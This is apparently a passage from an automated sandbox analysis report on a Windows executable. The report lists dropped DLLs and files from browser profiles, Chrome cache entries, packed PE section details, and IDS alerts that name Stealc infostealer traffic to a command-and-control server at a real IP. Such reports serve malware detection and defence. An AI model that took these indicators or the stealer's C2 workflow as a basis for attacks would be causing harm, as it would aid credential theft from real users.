SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.370893437024376
Encrypted:	false
SSDEEP:	48:SfNaoQREuTEQRufNaoQbcQbcfNaoQqSxQqffNaoQzx4d0UrU0U8QzB:6NnQdTEQ0NnQbcQbINnQZQ8NnQu0UrUl
MD5:	903DFD741E234D452A8FFBE29FC1E7BB
SHA1:	43BE9640E5C9A68B527ED87EAC9FEFAF5CE7E532
SHA-256:	34E40EB096F72CB8A7150717D16BA173D8B7B7B5398018EFEBCEB2291BCEDC3D
SHA-512:	D9E16A89C6B51F471CECD19B7CB7717B3DE8E1607A958392E5D34008DAF261BBCBE647C26896D31A7928FE279FCF16159357CFF22B218FAD4DF98A85452C248C
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/671D7F32EEEE8EAD1C26A53D6D7751AE",.. "id": "671D7F32EEEE8EAD1C26A53D6D7751AE",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/671D7F32EEEE8EAD1C26A53D6D7751AE"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D4FCEB1E360E4FC6A66620DADF387CAB",.. "id": "D4FCEB1E360E4FC6A66620DADF387CAB",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D4FCEB1E360E4FC6A66620DADF387CAB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3311)
Category:	downloaded
Size (bytes):	3316
Entropy (8bit):	5.849455022477504
Encrypted:	false
SSDEEP:	96:fgsotli1zjhgvPmtwVi+KZXMlCz4GVuryYfffffo:FIqzjhfuVi+6SCz4GVKyf
MD5:	F6BF8C7B12C0CB20380CA65AA930A1C9
SHA1:	B3C58F9CA95D84FCAEE6EEBADF7B4E675801F41A
SHA-256:	359B174C60BDF8D7EB2A990A42766304B144688911CBBEF7F71FAF98BD0FB8B5
SHA-512:	A7B7177F9DFAF0CB38BAAEC8ADBD5011A41F2EB2634B6B3A6149C89AC488B6D365956304BBED4F848B757B2F945C0CB5E89E99F16247C05999671C978904919B
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["san francisco 49ers","black ops safe codes","boeing strike hot mess","daylight saving time clocks","when will the substance be streaming","seattle seahawks buffalo bills","pokemon go gigantamax pokemon","american airlines flight to brisbane"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CggvbS8wNnJueRINRm9vdGJhbGwgdGVhbTLGDWRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFBbUNBTUFBQUJER20yckFBQUE4MUJNVkVYLy8vK3FBQUFBQUFDdUFBQ3hBQUJnQUFDbUFBQitBQUQ4L1B4MUFBQzNvMk4zZlgyQ2dvSjdhVURoNGVHN29HSG41K2VwcWFudzhQQ1NrcEtJQUFDMG5tQ3NPaU52YjI5a1pHUmZYMTloV0RYWTJOZ2RIUjJnQUFCcUFBQ0RBQUNTQUFDdVd6ZFdBQUNsalZaRlJVVzJ0cmF0UkNtemxGcUVjVVVZQUFBL0FBQ3ZhMEdmbjUrdll6eGxiR3pIeDhjT0VCUXNLUlJHUUNWV1RpK2FpbFMzZzFDMmRVZTVqMWNiR2cwbkl4V3RMQnVzSEJFMk1CMTRXVm1IZkh4aUV4TmVHeHRtUGo0dVFFQkpVVkZXSnljV0V3dGpKeWRoVTFNeEFBQXpOallwS3l1RGNIQ1NmVXhRUHo4QUV4

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133980
Entropy (8bit):	5.435005135719014
Encrypted:	false
SSDEEP:	1536:g7CkPDNT+14TPinWZ12CAkxmSlQWE8waaeeDF47j9RzWixqxUDgRiKvD+RVH2Unp:2Pw1CAV/WEhFdF47j9RTqxc6+OUaKszQ
MD5:	020945986AFA94D6FCC4E3704632A789
SHA1:	1A7B2744BD32C325DE3EF5BE873BE448CA482055
SHA-256:	6680042AFBCA5EA4D35788880B764D24736846631FE8845C5A9A38F2238ED143
SHA-512:	9A40BC964CB8DAE182902C65CCEBA5AC684545FCDB019C7CD1B65C1970B203E4F5B0928B76F9C6A926C70275749E0C84CDF7034D005312845465550481F39CDD
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	173904
Entropy (8bit):	5.557015392120516
Encrypted:	false
SSDEEP:	3072:mqnrEqzJkt0fv1iYPB+q4hXAmwWiIW14ouj4cCTQdp0K7S1kqUS4exvhb9h59GL0:mqnIqzJkt0fvsYPB+q4hXAmwWVW11uja
MD5:	07A6DC0B4F6E097C1D0A15202E2529F9
SHA1:	3F90C96ABF30EE11E87D944BDA7B46F97C105B6C
SHA-256:	68C28B4DAA8F9DB9762ACB567C6787DA7EBE34F2012BA76239482DC980422C34
SHA-512:	C8C7FE5696DC1258889D03F988B1A534DE50B0059A243769E258F6A7991ADB3BA2F9079F47E48F453FFD03A3CC3169D5A12F6458A7F04958D17A27D7D5CC3DD3
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTt6VjuqvFHGTQ7vz8QgRv0QbbEJTQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.lj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var mj,nj,pj,sj,vj,uj,oj,tj;mj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};nj=function(){_.Ka()};pj=function(){oj===void 0&&(oj=typeof WeakMap==="function"?mj(WeakMap):null);return oj};sj=function(a,b){(_.qj\|\|(_.qj=new oj)).set(a,b);(_.rj\|\|(_.rj=new oj)).set(b,a)};.vj=function(a){if(tj===void 0){const b=new uj([],{});tj=Array.prototype.concat.call([],b).length===1}tj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.wj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.xj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.yj=function(a,b){a===0&&(a=_.xj(a,b));return a\|1};_.zj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.Aj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Ej=function(a,b,c,d,e,f,g){const h=a.fa;var k=!!(2&b);e=k?

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.959304507984988
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'126'336 bytes
MD5:	b07426273441e1e6ec042658ab2132cc
SHA1:	3b6b40056a1803da518a1093db31811ca5602022
SHA256:	66ec85436947cf61b3e3ad15d0dbf5c1bb2d83b816006a376aa524cd772ce375
SHA512:	a9037f370f0bff830f55cb77df0ec2b6c85d07155533b42d6f17f2a38101e60c4d3874813765a975080f9e20b09ff9e717f78039a5b83dabc3821e3213c03780
SSDEEP:	49152:eRiPSowj08lKu5X8ANg9maTiDDIyKKFMrIat/:2iPSohiKvANoTi0KFMMa
TLSH:	81A5339B3FB61131DFEA5930EB7097B2A200D67412D1BB210EA2751F07E365614E3E6B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xb26000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8264CA4D7Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	957a304e4299e2cdbb01598986a3ab0c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x29f000	0x200	8ae08e5be324eef079e005acdad9ae89	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mwmmcnmo	0x589000	0x19c000	0x19c000	91e722be52d170d83e0294075d59b815	False	0.995093484526699	data	7.9545182674663995	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ckuqncoy	0x725000	0x1000	0x600	c323f039259207c3e123f8b0736af1b5	False	0.58984375	data	5.096891267344761	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x726000	0x3000	0x2200	61f93637910c65d5a67dea8c07a281dd	False	0.06353400735294118	DOS executable (COM)	0.7095466894747355	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T06:27:02.902489+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-28T06:27:03.194926+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-28T06:27:03.204633+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-28T06:27:03.479860+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-28T06:27:03.488232+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49730	TCP
2024-10-28T06:27:04.580282+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-28T06:27:05.191911+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-28T06:27:22.144066+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-28T06:27:23.930538+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-28T06:27:25.216890+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49758	185.215.113.206	80	TCP
